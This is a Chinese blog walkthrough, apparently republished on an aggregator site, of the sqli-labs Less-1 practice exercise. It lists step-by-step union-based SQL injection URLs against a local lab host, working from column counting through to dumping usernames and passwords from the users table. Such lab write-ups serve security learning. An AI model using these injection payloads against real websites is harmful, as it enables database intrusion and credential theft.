SQL注入闯关第一关-Less1

这篇具有很好参考价值的文章主要介绍了SQL注入闯关第一关-Less1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、判断注入点类型

1、单引号测试

2、进行验证:

二、确定字段数

三、使用联合查询,确定显示位置

四、确定显示位置后,查询库名

五、查询表名

六、查询列名

七、查询用户名和密码


一、判断注入点类型

1、单引号测试

SQL注入闯关第一关-Less1

报错,猜测属于字符型注入;

2、进行验证:

(1)、http://192.168.162.135/sqlilab/Less-1/?id=1' and 1=1 --+

SQL注入闯关第一关-Less1

(2)、http://192.168.162.135/sqlilab/Less-1/?id=1' and 1=2 --+

SQL注入闯关第一关-Less1

经检验确认为字符型注入 ,数据库查询语句为:

select user,passwd from users where id='$id';

二、确定字段数

1、http://192.168.162.135/sqlilab/Less-1/?id=1' order by 1 --+

SQL注入闯关第一关-Less1

2、http://192.168.162.135/sqlilab/Less-1/?id=1' order by 2 --+

SQL注入闯关第一关-Less1

3、 http://192.168.162.135/sqlilab/Less-1/?id=1' order by 3 --+ SQL注入闯关第一关-Less1

4、 http://192.168.162.135/sqlilab/Less-1/?id=1' order by 4 --+SQL注入闯关第一关-Less1

 经过尝试,判断字段数为3;

三、使用联合查询,确定显示位置

(1)、http://192.168.162.135/sqlilab/Less-1/?id=1' union select 1,2,3 --+

SQL注入闯关第一关-Less1

(2)、由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,3 --+

SQL注入闯关第一关-Less1

四、确定显示位置后,查询库名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,version(),database() --+

字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名

SQL注入闯关第一关-Less1

MySQL版本:5.5.53        数据库:security

五、查询表名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

SQL注入闯关第一关-Less1

security数据库中有三个表:emails,referers,uagents,users

六、查询列名

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

SQL注入闯关第一关-Less1

七、查询用户名和密码

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,username,password from users where id=2 --+

SQL注入闯关第一关-Less1

http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,username,password from users where id=5 --+

SQL注入闯关第一关-Less1文章来源地址https://www.toymoban.com/news/detail-476640.html

到了这里,关于SQL注入闯关第一关-Less1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(33)
  • 云曦暑期学习第一周——sql注入

    sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作 条件: 1.参数用户可控:前端传给后端的参数内容是用户可以控制的 2.参数带入数据查询

    2024年02月16日
    浏览(27)
  • 渗透测试模拟(使用sqlmap进行sql注入漏洞判断,利用该漏洞进行挂马)

    环境:对某网站进行渗透测试。 (PHP+Mysql开发的网站,用于WEB漏洞教学和检测的) 工具:sqlmap(Kali Linux中自带or官网下载Windows版) 此次实验所涉及的sqlmap参数: 一、信息收集 二、漏洞挖掘 (1)判断网站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目标网站地址\\\" --ba

    2024年02月15日
    浏览(36)
  • <HarmonyOS第一课>ArkTS开发语言介绍——闯关习题及答案

    判断题 1.循环渲染ForEach可以从数据源中迭代获取数据,并为每个数组项创建相应的组件。( 对 ) 2.@Link变量不能在组件内部进行初始化。( 对 ) 单选题 1.用哪一种装饰器修饰的struct表示该结构体具有组件化能力?( A ) A. @Component B. @Entry C. @Builder D. @Preview 2.用哪一种装饰

    2024年02月07日
    浏览(35)
  • <HarmonyOS第一课>从简单的页面开始——闯关习题及答案

    加入鸿蒙应用开发公开课 系统学习HarmonyOS应用开发 判断题 1.在Column容器中的子组件默认是按照从上到下的垂直方向布局的,其主轴的方向是垂直方向,在Row容器中的组件默认是按照从左到右的水平方向布局的,其主轴的方向是水平方向。( 对 ) 2.List容器可以沿水平方向排

    2024年02月04日
    浏览(31)
  • 体验自制免费开源闯关学SQL

    sql是常用必不可少的一种语言,我们都或有各种各样的学习经历,最近看鱼皮大佬开源了一款自制的闯关学SQL项目,该项目是纯前端语言,不需要太多依赖以及前置知识,直接下载就可以开始使用,下面是整个的使用流程。(学习前端的小伙伴可以研究一下是怎么实现的,其

    2024年02月14日
    浏览(30)
  • 自制免费 SQL 闯关自学网,代码开源!

    大家好,我是鱼皮。 相信很多学编程的同学都学习过 SQL 吧?SQL 作为数据库查询语言,实在是太重要了,可以说是程序员、产品经理、数据分析同学的必备技能。 为了帮助大家自学 SQL,这段时间,我一个人做了个 免费 的 闯关式 SQL 自学网,并且决定把代码 完全开源 给大家

    2024年02月13日
    浏览(28)
  • MySQL注入-SQLi-Less3笔记

     起手?id=1\\\'给个参数看看反应 产生报错,关注后面的内容  知道了语句,直接拼接 到这一步后面就一样了

    2024年02月13日
    浏览(23)
  • Vue项目自动注入less、sass、scss、stylus全局变量

    一、Vue2项目 官方文档:CSS 相关 | Vue CLI 二、Vue3项目 2024-4-9

    2024年04月15日
    浏览(47)
  • sql-labs--Less-1--Error based-Single quotes

    sql = \\\"SELECT * FROM users WHERE id = \\\'id\\\' LIMIT 0,1\\\"; 打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。 我们输入带有id的参数: http://127.0.0.1/sqli-labs/Less-1/?id=1 ,如下图,正确回显界面。 我们尝试加入an

    2024年02月10日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包